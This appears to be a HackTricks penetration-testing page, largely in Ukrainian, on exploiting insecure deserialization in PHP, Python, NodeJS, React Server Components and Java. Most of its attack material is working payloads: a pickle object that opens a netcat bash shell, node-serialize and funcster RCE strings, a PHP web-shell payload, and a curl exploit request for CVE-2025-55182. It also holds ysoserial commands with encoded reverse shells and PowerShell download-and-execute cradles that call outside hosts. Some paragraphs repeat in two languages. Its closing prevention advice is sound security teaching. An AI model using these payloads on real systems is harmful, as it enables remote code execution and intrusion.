Deserialization

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

Serialization вважається методом перетворення об’єкта в формат, який можна зберегти, з метою або зберігання об’єкта, або передачі його в рамках процесу комунікації. Ця техніка зазвичай застосовується, щоб забезпечити можливість відтворити об’єкт пізніше, зберігаючи його структуру та стан.

Deserialization, навпаки, — це процес, що протидіє serialization. Він полягає в тому, щоб взяти дані, структуровані в певному форматі, і відновити з них об’єкт.

Deserialization може бути небезпечною, оскільки потенційно дозволяє зловмисникам маніпулювати serialized data для виконання шкідливого коду або спричиняти непередбачену поведінку додатка під час процесу відтворення об’єкта.

PHP

У PHP під час процесів serialization та deserialization використовуються певні magic methods:

  • __sleep: Викликається, коли об’єкт перебуває в процесі serialized. Цей метод має повернути масив імен усіх властивостей об’єкта, які повинні бути serialized. Зазвичай використовується для збереження відкладених даних або виконання подібних завдань очищення.
  • __wakeup: Викликається під час deserialized об’єкта. Використовується для відновлення з’єднань з базою даних, які могли бути втрачені під час serialization, та виконання інших завдань реініціалізації.
  • __unserialize: Цей метод викликається замість __wakeup (якщо він існує) під час deserialized об’єкта. Він дає більше контролю над процесом deserialization порівняно з __wakeup.
  • __destruct: Викликається, коли об’єкт готується до знищення або коли завершується виконання скрипта. Зазвичай використовується для задач очищення, наприклад закриття дескрипторів файлів або з’єднань з базою даних.
  • __toString: Дозволяє трактувати об’єкт як рядок. Може використовуватися для читання файлу або інших операцій, що базуються на викликах функцій всередині методу, фактично надаючи текстове представлення об’єкта.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Якщо подивитися на результати, можна побачити, що функції __wakeup та __destruct викликаються під час десеріалізації об’єкта. Зауважте, що в кількох підручниках стверджується, ніби функція __toString викликається при спробі вивести якийсь атрибут, але, схоже, цього більше не відбувається.

Warning

Метод __unserialize(array $data) викликається замість __wakeup(), якщо він реалізований у класі. Він дозволяє десеріалізувати об’єкт, передаючи серіалізовані дані у вигляді масиву. Ви можете використовувати цей метод для десеріалізації властивостей і виконання необхідних дій під час десеріалізації.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

Пояснений приклад PHP можна прочитати тут: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, тут https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf або тут https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Ви можете зловживати функціональністю PHP autoload, щоб завантажувати довільні php-файли та інше:

PHP - Deserialization + Autoload Classes

Laravel Livewire Hydration Chains

Livewire 3 synthesizers можна примусити інстанціювати довільні gadget graphs (з або без APP_KEY), щоб досягти Laravel Queueable/SerializableClosure sinks:

Livewire Hydration Synthesizer Abuse

Серіалізація посилань на значення

Якщо з якоїсь причини ви хочете серіалізувати значення як посилання на інше серіалізоване значення, ви можете:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Запобігання PHP Object Injection з allowed_classes

[!INFO] Підтримка другого аргументу функції unserialize() (масив $options) була додана в PHP 7.0. У старіших версіях функція приймає лише серіалізований рядок, що робить неможливим обмежити, які класи можуть бути створені.

unserialize() буде інстанціювати кожний клас, який знайде всередині серіалізованого потоку, якщо не вказано інше. З PHP 7 поведінку можна обмежити за допомогою опції allowed_classes:

// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

Якщо allowed_classes опущено або код виконується на PHP < 7.0, виклик стає небезпечним, оскільки атакуючий може створити payload, який зловживає магічними методами, такими як __wakeup() або __destruct(), щоб досягти Remote Code Execution (RCE).

Приклад з реального світу: Everest Forms (WordPress) CVE-2025-52709

Плагін WordPress Everest Forms ≤ 3.2.2 намагався діяти захисно через допоміжну обгортку, але забув про застарілі версії PHP:

function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

На серверах, що все ще працювали під PHP ≤ 7.0, ця друга гілка призводила до класичного PHP Object Injection, коли адміністратор відкривав зловмисну відправку форми. Мінімальний exploit payload міг виглядати так:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

Як тільки адміністратор переглянув запис, об’єкт був інстанційований і SomeClass::__destruct() було виконано, що призвело до виконання довільного коду.

Висновки

  1. Завжди передавайте ['allowed_classes' => false] (або строгий white-list) при виклику unserialize().
  2. Перевіряйте захисні wrappers — вони часто забувають про застарілі гілки PHP.
  3. Оновлення до PHP ≥ 7.x саме по собі не достатнє: опція все ще має бути явно передана.

PHPGGC (ysoserial for PHP)

PHPGGC може допомогти вам генерувати payloads для зловживання PHP deserializations.
Зверніть увагу, що в деяких випадках ви не зможете знайти спосіб зловживати a deserialization у вихідному коді застосунку, але можете зуміти зловживати кодом зовнішніх PHP розширень.
Тому, якщо можете, перевірте phpinfo() сервера і пошукайте в інтернеті (навіть по gadgets у PHPGGC) можливі gadgets, якими можна зловживати.

phar:// metadata deserialization

Якщо ви знайшли LFI, який лише читає файл і не виконує php code всередині нього, наприклад за допомогою функцій, таких як file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Ви можете спробувати зловживати deserialization, що відбувається при читанні файлу з використанням протоколу phar.
Для більш детальної інформації прочитайте наступний пост:

phar:// deserialization

Python

Pickle

Під час unpickle об’єкта буде виконана функція ___reduce___.
При експлуатації сервер може повернути помилку.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2))) to generate an object that is compatible with python2 if you’re running python3.

For more information about escaping from pickle jails check:

Bypass Python sandboxes

Yaml & jsonpickle

Наступна сторінка описує техніку, як зловживати небезпечною десеріалізацією в Python YAML-бібліотеках та завершується інструментом, який можна використати для генерації RCE десеріалізації payload для Pickle, PyYAML, jsonpickle and ruamel.yaml:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python’s Prototype Pollution)

NodeJS

JS Magic Functions

JS doesn’t have “magic” functions like PHP or Python that are going to be executed just for creating an object. But it has some functions that are frequently used even without directly calling them such as toString, valueOf, toJSON.
Якщо при зловживанні десеріалізацією ви зможете компрометувати ці функції для виконання іншого коду (potentially abusing prototype pollutions), то під час їх виклику можна буде виконати довільний код.

Ще один “magic” спосіб викликати функцію без прямого виклику — це компрометувати об’єкт, який повертається асинхронною функцією (promise). Тому що, якщо ви перетворите той повернений об’єкт в інший promise з властивістю під назвою “then” of type function, вона буде виконана просто тому, що була повернена іншим promise. Див. також this link для детальнішої інформації.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

Якщо ви хочете дізнатися про цю техніку, перегляньте наступний підручник:

NodeJS - proto & prototype Pollution

node-serialize

Ця бібліотека дозволяє серіалізувати функції. Приклад:

var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

Серіалізований об’єкт буде виглядати так:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Як видно в прикладі, коли функція серіалізується, прапорець _$$ND_FUNC$$_ додається до серіалізованого об’єкта.

У файлі node-serialize/lib/serialize.js можна знайти той самий прапорець і те, як код його використовує.

Як видно в останньому фрагменті коду, якщо прапорець знайдено eval використовується для десеріалізації функції, тож по суті вхідні дані користувача використовуються всередині функції eval.

Однак, тільки серіалізація функції не виконає її, бо потрібно, щоб якась частина коду викликала y.rce в нашому прикладі, і це малоймовірно.
Втім, можна просто змінити серіалізований об’єкт, додавши дужки, щоб автоматично виконати серіалізовану функцію під час десеріалізації об’єкта.
У наступному фрагменті коду зверніть увагу на останню дужку і на те, як функція unserialize автоматично виконає код:

var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Як було зазначено раніше, ця бібліотека отримає код після _$$ND_FUNC$$_ і виконає його за допомогою eval. Тому, щоб автоматично виконати код, ви можете видалити частину створення функції і останню дужку та просто виконати JS oneliner, як у наступному прикладі:

var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

Ви можете знайти тут додаткову інформацію про те, як експлуатувати цю вразливість.

funcster

Важливою особливістю funcster є недоступність стандартних вбудованих об’єктів; вони знаходяться поза доступною областю. Це обмеження заважає виконанню коду, який намагається викликати методи вбудованих об’єктів, що призводить до винятків на кшталт "ReferenceError: console is not defined", коли використовуються команди типу console.log() або require(something).

Незважаючи на це обмеження, відновити повний доступ до глобального контексту, включно з усіма стандартними вбудованими об’єктами, можна за допомогою специфічного підходу. Використовуючи глобальний контекст напряму, можна обійти це обмеження. Наприклад, доступ можна відновити за допомогою наступного фрагмента:

funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

Для more information read this source.

serialize-javascript

Пакет serialize-javascript призначений виключно для серіалізації й не має вбудованих можливостей десеріалізації. Користувачі самі відповідають за реалізацію власного методу десеріалізації. Офіційний приклад для десеріалізації серіалізованих даних пропонує пряме використання eval:

function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

Якщо ця функція використовується для deserialize objects, ви можете легко exploit її:

var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Для more information read this source.

Cryo library

У наступних сторінках ви знайдете інформацію про те, як зловживати цією бібліотекою для виконання довільних команд:

React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)

React Server Components (RSC) покладаються на react-server-dom-webpack (RSDW) для декодування server action submissions, які надсилаються як multipart/form-data. Кожне server action submission містить:

  • $ACTION_REF_<n> частини, які посилаються на action, що викликається.
  • $ACTION_<n>:<m> частини, тіло яких є JSON, наприклад {"id":"module-path#export","bound":[arg0,arg1,...]}.

У версії 19.2.0 хелпер decodeAction(formData, serverManifest) беззастережно довіряє і строку id (що визначає, який module export викликати), і масив bound (аргументи). Якщо атакуючий може досягти endpoint, який пересилає запити до decodeAction, він може викликати будь-який експортований server action з параметрами, контрольованими атакуючим, навіть без React front-end (CVE-2025-55182). Покрокова інструкція:

  1. Визначити ідентифікатор action. Bundle output, error traces або leaked manifests зазвичай розкривають рядки на зразок app/server-actions#generateReport.
  2. Відтворити multipart payload. Сформуйте частину $ACTION_REF_0 та JSON-тіло $ACTION_0:0, яке несе ідентифікатор і довільні аргументи.
  3. Дайте decodeAction його обробити. Хелпер знаходить модуль в serverManifest, імпортує експорт і повертає callable, який сервер негайно виконує.

Приклад payload, що потрапляє на /formaction:

POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--

Або за допомогою curl:

curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'

Масив bound безпосередньо заповнює параметри server-action. У вразливій лабораторії гаджет виглядає так:

const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);

async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}

Supplying format = "pdf & whoami" makes /bin/sh -c run the legitimate report generator and then whoami, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.

Забезпечення format = "pdf & whoami" змушує /bin/sh -c виконати легітимний генератор звітів, а потім whoami, причому обидва виводи повертаються всередині JSON відповіді action. Будь-яку server action, яка обгортає примітиви файлової системи, драйвери баз даних або інші інтерпретатори, можна зловживати таким же чином, як тільки зловмисник контролює дані bound.

An attacker never needs a real React client—any HTTP tool that emits the $ACTION_* multipart shape can directly call server actions and chain the resulting JSON output into an RCE primitive.

Зловмиснику ніколи не потрібен реальний React client — будь-який HTTP інструмент, який відправляє multipart у формі $ACTION_*, може безпосередньо викликати server actions і зв’язати отриманий JSON у RCE-примітив.

Java - HTTP

In Java, deserialization callbacks are executed during the process of deserialization. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions.

У Java, deserialization callbacks are executed during the process of deserialization. Це виконання можна експлуатувати: зловмисники, які створюють шкідливі payloads, що запускають ці callbacks, можуть спричинити виконання небезпечних дій.

Fingerprints

White Box

To identify potential serialization vulnerabilities in the codebase search for:

  • Classes that implement the Serializable interface.
  • Usage of java.io.ObjectInputStream, readObject, readUnshare functions.

Pay extra attention to:

  • XMLDecoder utilized with parameters defined by external users.
  • XStream’s fromXML method, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues.
  • ObjectInputStream coupled with the readObject method.
  • Implementation of methods such as readObject, readObjectNodData, readResolve, or readExternal.
  • ObjectInputStream.readUnshared.
  • General use of Serializable.

Black Box

For black box testing, look for specific signatures or “Magic Bytes” that denote java serialized objects (originating from ObjectInputStream):

  • Hexadecimal pattern: AC ED 00 05.
  • Base64 pattern: rO0.
  • HTTP response headers with Content-type set to application/x-java-serialized-object.
  • Hexadecimal pattern indicating prior compression: 1F 8B 08 00.
  • Base64 pattern indicating prior compression: H4sIA.
  • Web files with the .faces extension and the faces.ViewState parameter. Discovering these patterns in a web application should prompt an examination as detailed in the post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Перевірити на вразливість

Якщо ви хочете дізнатися, як працює Java Deserialized exploit, перегляньте Basic Java Deserialization, Java DNS Deserialization, and CommonsCollection1 Payload.

SignedObject-gated deserialization and pre-auth reachability

У сучасних кодових базах інколи обгортка deserialization здійснюється через java.security.SignedObject з перевіркою підпису перед викликом getObject() (який десеріалізує внутрішній об’єкт). Це перешкоджає використанню довільних top-level gadget classes, але все ще може бути експлуатованим, якщо зловмисник отримає дійсний підпис (наприклад, private-key compromise або a signing oracle). Крім того, потоки обробки помилок іноді випускають session-bound tokens для unauthenticated користувачів, відкриваючи зазвичай захищені sinks pre-auth.

Для конкретного кейсу з requests, IoCs, і рекомендаціями щодо hardening дивіться:

Java Signedobject Gated Deserialization

White Box Test

Ви можете перевірити, чи встановлено будь-який додаток із відомими вразливостями.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Ви можете спробувати перевірити всі бібліотеки відомі як вразливі і для яких Ysoserial може надати exploit. Або ви можете перевірити бібліотеки, вказані в Java-Deserialization-Cheat-Sheet.
Ви також можете використовувати gadgetinspector для пошуку можливих gadget chains, які можна exploit-увати.
При запуску gadgetinspector (після збірки) не звертайте уваги на безліч попереджень/помилок і дочекайтеся завершення. Він запише всі знахідки в gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Зауважте, що gadgetinspector won’t create an exploit and it may indicate false positives.

Black Box Test

Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability.
Read this to learn more about GadgetProbe.
GadgetProbe is focused on ObjectInputStream deserializations.

Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner is focused on ObjectInputStream deserializations.

Ви також можете використовувати Freddy для detect deserializations vulnerabilities в Burp. Цей плагін виявляє не лише ObjectInputStream-пов’язані вразливості, але також вразливості в бібліотеках десеріалізації Json та Yml. В активному режимі він намагатиметься підтвердити їх, використовуючи sleep або DNS payloads.
You can find more information about Freddy here.

Serialization Test

Не все зводиться до перевірки, чи використовує сервер якусь вразливу бібліотеку. Іноді ви можете змінити дані всередині серіалізованого об’єкта та обійти деякі перевірки (можливо отримати admin привілеї у вебзастосунку).
Якщо ви знайдете java serialized object, що надсилається веб-застосунку, ви можете використати SerializationDumper щоб вивести у більш читабельному форматі серіалізований об’єкт, який надсилається. Знаючи, які дані ви відправляєте, буде простіше змінити їх і обійти деякі перевірки.

Exploit

ysoserial

The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Note that this tool is focused on exploiting ObjectInputStream.
I would start using the “URLDNS” payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the “URLDNS” payload is not working but other RCE payload is.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

При створенні payload для java.lang.Runtime.exec() ви не можете використовувати спеціальні символи на кшталт “>” або “|” для перенаправлення виводу виконання, “$()” для виконання команд або навіть передавати аргументи команді, розділені пробілами (ви можете зробити echo -n "hello world" але не можете зробити python2 -c 'print "Hello world"'). Щоб правильно закодувати payload ви можете use this webpage.

Не соромтеся використовувати наступний скрипт для створення all the possible code execution payloads для Windows і Linux і потім протестувати їх на вразливій веб-сторінці:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Ви можете використовувати https://github.com/pwntester/SerialKillerBypassGadgetCollection разом із ysoserial для створення додаткових exploits. Більше інформації про цей інструмент у слайдах доповіді, де інструмент був представлений: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec можна використовувати для генерації payloads, щоб exploit різні Json та Yml бібліотеки серіалізації в Java.
Щоб скомпілювати проект мені потрібно було додати ці залежності до pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Встановіть maven, та скомпілюйте проект:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Дізнайтеся більше про цю Java JSON бібліотеку: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Лабораторні вправи

Чому

Java широко використовує serialization для різних цілей, таких як:

  • HTTP requests: Serialization широко використовується для управління параметрами, ViewState, cookies тощо.
  • RMI (Remote Method Invocation): Протокол Java RMI, який повністю покладається на serialization, є ключовим елементом віддаленої комунікації в Java-додатках.
  • RMI over HTTP: Цей метод часто застосовується у web-застосунках з товстим клієнтом на базі Java, де для всієї комунікації об’єктів використовується serialization.
  • JMX (Java Management Extensions): JMX використовує serialization для передачі об’єктів мережею.
  • Custom Protocols: У Java стандартною практикою є передача raw Java objects, що буде продемонстровано у наступних exploit examples.

Запобігання

Transient objects

Клас, який реалізує інтерфейс Serializable, може позначити як transient будь-який об’єкт всередині класу, який не повинен бути серіалізованим. Наприклад:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Уникнення серіалізації класу, який має реалізовувати інтерфейс Serializable

У сценаріях, коли певні об’єкти повинні реалізовувати інтерфейс Serializable через ієрархію класів, існує ризик ненавмисної десеріалізації. Щоб запобігти цьому, переконайтеся, що ці об’єкти не можуть бути десеріалізовані, визначивши final readObject() метод, який послідовно кидає виняток, як показано нижче:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Підвищення безпеки десеріалізації в Java

Налаштування java.io.ObjectInputStream — практичний підхід для захисту процесів десеріалізації. Цей метод підходить, коли:

  • код десеріалізації під вашим контролем.
  • класи, очікувані для десеріалізації, відомі.

Перевизначте метод resolveClass(), щоб обмежити десеріалізацію лише дозволеними класами. Це запобігає десеріалізації будь-якого класу, крім тих, що явно дозволені, як у наступному прикладі, який обмежує десеріалізацію лише класом Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Using a Java Agent for Security Enhancement пропонує резервне рішення, коли зміна коду неможлива. Цей метод застосовується переважно для blacklisting harmful classes, використовуючи JVM-параметр:

-javaagent:name-of-agent.jar

Це надає спосіб динамічно захистити deserialization, що ідеально підходить для середовищ, де негайні зміни коду неможливі.

Перегляньте приклад у rO0 by Contrast Security

Implementing Serialization Filters: У Java 9 були введені serialization filters через інтерфейс ObjectInputFilter, що забезпечує потужний механізм для визначення критеріїв, яким повинні відповідати serialized objects перед deserialized. Ці фільтри можна застосовувати глобально або per stream, що дає детальний контроль над процесом deserialization.

Щоб використовувати serialization filters, ви можете встановити глобальний filter, який застосовується до всіх операцій deserialization, або налаштувати його динамічно для конкретних streams. Наприклад:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

